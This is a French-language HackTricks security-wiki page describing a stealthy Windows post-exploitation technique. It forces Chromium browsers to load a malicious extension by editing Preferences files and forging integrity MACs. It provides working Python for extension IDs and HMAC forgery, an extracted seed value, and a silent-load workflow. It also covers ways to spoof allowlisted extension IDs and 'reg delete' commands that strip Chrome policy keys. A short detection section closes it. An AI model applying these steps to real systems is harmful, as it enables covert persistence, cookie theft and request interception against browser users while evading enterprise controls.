Forced Extension Load & Preferences MAC Forgery (Windows)

Reading time: 9 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Overview

Technique post-exploitation discrĂšte pour forcer le chargement d'extensions arbitraires dans les navigateurs basĂ©s sur Chromium sous Windows en modifiant les Preferences/Secure Preferences d’un utilisateur et en forgeant des HMAC valides pour les nƓuds modifiĂ©s. Fonctionne contre Chrome/Chromium, Edge et Brave. ObservĂ© applicable de Chromium 130 Ă  139 au moment de la publication. Une simple primitive d’écriture disque dans le profil de la victime suffit pour persister une extension avec tous les privilĂšges sans flags en ligne de commande ni invites utilisateur.

Key idea: Chromium stores per-user extension state in a JSON preferences file and protects it with HMAC-SHA256. If you compute valid MACs with the browser’s embedded seed and write them next to your injected nodes, the browser accepts and activates your extension entry.

Where extension state lives (Windows)

  • Profil Chrome non rattachĂ© au domaine :
  • %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Secure Preferences (includes a root "super_mac").
  • Profil Chrome rattachĂ© au domaine :
  • %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Preferences
  • NƓuds clĂ©s utilisĂ©s par Chromium :
  • extensions.settings.<extension_id> → manifeste/mĂ©tadonnĂ©es embarquĂ©s pour l'entrĂ©e d'extension
  • protection.macs.extensions.settings.<extension_id> → HMAC pour ce blob JSON
  • Chromium ≄134: extensions.ui.developer_mode (boolean) must be present and MAC‑signed for unpacked extensions to activate

Schéma simplifié (illustratif):

json
{
"extensions": {
"settings": {
"<extension_id>": {
"name": "Extension name",
"manifest_version": 3,
"version": "1.0",
"key": "<BASE64 DER SPKI>",
"path": "<absolute path if unpacked>",
"state": 1,
"from_bookmark": false,
"was_installed_by_default": false
// ...rest of manifest.json + required install metadata
}
},
"ui": { "developer_mode": true }
},
"protection": {
"macs": {
"extensions": {
"settings": { "<extension_id>": "<MAC>" },
"ui": { "developer_mode": "<MAC>" }
}
}
}
}

Remarques :

  • Edge/Brave conservent des structures similaires. La valeur du protection seed peut diffĂ©rer (on a observĂ© qu'Edge/Brave utilisaient une seed null/autre dans certaines builds).

IDs d'extension : chemin vs clé et comment les rendre déterministes

Chromium dérive l'ID de l'extension comme suit :

  • Packed/signed extension : ID = SHA‑256 over DER‑encoded SubjectPublicKeyInfo (SPKI) → prendre les 32 premiers caractĂšres hex → mapper 0–f vers a–p
  • Unpacked (no key in manifest) : ID = SHA‑256 over the absolute installation path bytes → mapper 0–f vers a–p

Pour conserver un ID stable entre les hÎtes, intégrez une clé publique DER fixe en base64 dans manifest.json sous "key". L'ID sera dérivé de cette clé au lieu du chemin d'installation.

Script d'aide pour générer un ID déterministe et une paire de clés :

python
import base64
import hashlib
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa

def translate_crx_id(s: str) -> str:
t = {'0':'a','1':'b','2':'c','3':'d','4':'e','5':'f','6':'g','7':'h','8':'i','9':'j','a':'k','b':'l','c':'m','d':'n','e':'o','f':'p'}
return ''.join(t.get(c, c) for c in s)

def generate_extension_keys() -> tuple[str,str,str]:
priv = rsa.generate_private_key(public_exponent=65537, key_size=2048)
pub = priv.public_key()
spki = pub.public_bytes(encoding=serialization.Encoding.DER,
format=serialization.PublicFormat.SubjectPublicKeyInfo)
crx_id = translate_crx_id(hashlib.sha256(spki).digest()[:16].hex())
pub_b64 = base64.b64encode(spki).decode('utf-8')
priv_der = priv.private_bytes(encoding=serialization.Encoding.DER,
format=serialization.PrivateFormat.TraditionalOpenSSL,
encryption_algorithm=serialization.NoEncryption())
priv_b64 = base64.b64encode(priv_der).decode('utf-8')
return crx_id, pub_b64, priv_b64

print(generate_extension_keys())

Ajoutez la clé publique générée dans votre manifest.json pour verrouiller l'ID :

json
{
"manifest_version": 3,
"name": "Synacktiv extension",
"version": "1.0",
"key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2lMCg6..."
}

Falsification des MACs d'intégrité de Preferences (core bypass)

Chromium protĂšge les Preferences avec HMAC‑SHA256 sur "path" + valeur JSON sĂ©rialisĂ©e de chaque nƓud. La graine HMAC est intĂ©grĂ©e dans resources.pak du navigateur et Ă©tait encore valide jusqu'Ă  Chromium 139.

Extraire la graine avec GRIT pak_util et localiser le conteneur de la graine (file id 146 dans les builds testés):

bash
python3 pak_util.py extract resources.pak -o resources_v139/
python3 pak_util.py extract resources.pak -o resources_v139_dirty/
# compare a clean vs minimally modified resources.pak to spot the seed holder
xxd -p resources_v139/146
# e748f336d85ea5f9dcdf25d8f347a65b4cdf667600f02df6724a2af18a212d26b788a25086910cf3a90313696871f3dc05823730c91df8ba5c4fd9c884b505a8

Calculez les MACs (hexadécimal en majuscules) comme :

text
ext_mac = HMAC_SHA256(seed,
"extensions.settings.<crx_id>" + json.dumps(<settings_json>))

devmode_mac = HMAC_SHA256(seed,
"extensions.ui.developer_mode" + ("true" or "false"))

Exemple Python minimal :

python
import json, hmac, hashlib

def mac_upper(seed_hex: str, pref_path: str, value) -> str:
seed = bytes.fromhex(seed_hex)
# Compact JSON to match Chromium serialization closely
val = json.dumps(value, separators=(',', ':')) if not isinstance(value, str) else value
msg = (pref_path + val).encode('utf-8')
return hmac.new(seed, msg, hashlib.sha256).hexdigest().upper()

# Example usage
settings_path = f"extensions.settings.{crx_id}"
devmode_path = "extensions.ui.developer_mode"
ext_mac = mac_upper(seed_hex, settings_path, settings_json)
devmode_mac = mac_upper(seed_hex, devmode_path, "true")

Écrire les valeurs sous :

  • protection.macs.extensions.settings.<crx_id> = ext_mac
  • protection.macs.extensions.ui.developer_mode = devmode_mac (Chromium ≄134)

DiffĂ©rences entre navigateurs : sur Microsoft Edge et Brave, le seed peut ĂȘtre null/diffĂ©rent. La structure HMAC reste la mĂȘme ; ajustez le seed en consĂ©quence.

Conseils d'implémentation

  • Utilisez exactement la mĂȘme sĂ©rialisation JSON que Chromium utilise lors du calcul des MACs (un JSON compact sans espaces est sĂ»r en pratique ; trier les clĂ©s peut aider Ă  Ă©viter des problĂšmes d'ordre).
  • Assurez-vous que extensions.ui.developer_mode existe et est signĂ© sur Chromium ≄134, sinon votre extension non empaquetĂ©e ne s’activera pas.

Flux de chargement silencieux de bout en bout (Windows)

  1. Générez un ID déterministe et intégrez "key" dans manifest.json ; préparez une extension MV3 non empaquetée avec les permissions souhaitées (service worker/content scripts)
  2. Créez extensions.settings. en y intégrant le manifest et les métadonnées d'installation minimales requises par Chromium (state, path pour l'extension non empaquetée, etc.)
  3. Extrayez le seed HMAC de resources.pak (fichier 146) et calculez deux MACs : un pour le nƓud settings et un pour extensions.ui.developer_mode (Chromium ≄134)
  4. Écrivez les nƓuds et MACs conçus dans Preferences/Secure Preferences du profil cible ; le prochain lancement activera automatiquement votre extension avec l'intĂ©gralitĂ© des privilĂšges dĂ©clarĂ©s

Contourner les contrĂŽles d'entreprise

  • Whitelisted extension hash spoofing (ID spoofing)
  1. Installez une extension autorisée du Web Store et notez son ID
  2. Obtenez sa clé publique (par ex. via chrome.runtime.getManifest().key dans le background/service worker ou en récupérant/analysant son .crx)
  3. Placez cette clĂ© en tant que manifest.key dans votre extension modifiĂ©e pour reproduire le mĂȘme ID
  4. Enregistrez l'entrĂ©e dans Preferences et signez les MACs → les vĂ©rifications ExtensionInstallAllowlist qui se basent uniquement sur l'ID sont contournĂ©es
  • Extension stomping (ID collision precedence)

  • Si une extension locale non empaquetĂ©e partage un ID avec une extension installĂ©e depuis le Web Store, Chromium prĂ©fĂšre celle non empaquetĂ©e. Cela remplace effectivement l'extension lĂ©gitime dans chrome://extensions tout en prĂ©servant l'ID de confiance. VĂ©rifiĂ© sur Chrome et Edge (p.ex. Adobe PDF)

  • Neutralizing GPO via HKCU (requires admin)

  • Les policies Chrome/Edge rĂ©sident sous HKCU\Software\Policies*

  • Avec des droits admin, supprimez/modifiez les clĂ©s de policy avant d'Ă©crire vos entrĂ©es pour Ă©viter les blocages :

powershell
reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallAllowlist" /f
reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallBlocklist" /f

Repli bruyant : chargement via la ligne de commande

Depuis Chromium ≄137, --load-extension nĂ©cessite Ă©galement de passer :

text
--disable-features=DisableLoadExtensionCommandLineSwitch

Cette approche est largement connue et surveillée (p. ex. par EDR/DFIR ; utilisée par des malwares grand public comme Chromeloader). Preference MAC forging is stealthier.

Related flags and more cross‑platform tricks are discussed here:

macOS Chromium Injection

Impact opérationnel

Une fois acceptĂ©e, l'extension s'exĂ©cute avec ses permissions dĂ©clarĂ©es, permettant l'accĂšs au DOM, l'interception/redirection des requĂȘtes, l'accĂšs aux cookies/storage et la capture d'Ă©cran — soit, en pratique, une exĂ©cution de code dans le navigateur et une persistance durable du profil utilisateur. Le dĂ©ploiement Ă  distance via SMB ou d'autres canaux est simple car l'activation est pilotĂ©e par des donnĂ©es via Preferences.

Détection et durcissement

  • Surveiller les processus non‑Chromium Ă©crivant dans Preferences/Secure Preferences, en particulier les nouveaux nƓuds sous extensions.settings associĂ©s Ă  des entrĂ©es protection.macs
  • Alerter en cas de basculement inattendu de extensions.ui.developer_mode et d'entrĂ©es d'extension valides HMAC mais non approuvĂ©es
  • Auditer HKCU/HKLM Software\Policies pour dĂ©tecter toute manipulation ; appliquer les politiques via device management/Chrome Browser Cloud Management
  • PrivilĂ©gier le forced‑install depuis le store avec des verified publishers plutĂŽt que des allowlists ne correspondant qu'Ă  l'extension ID

References

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks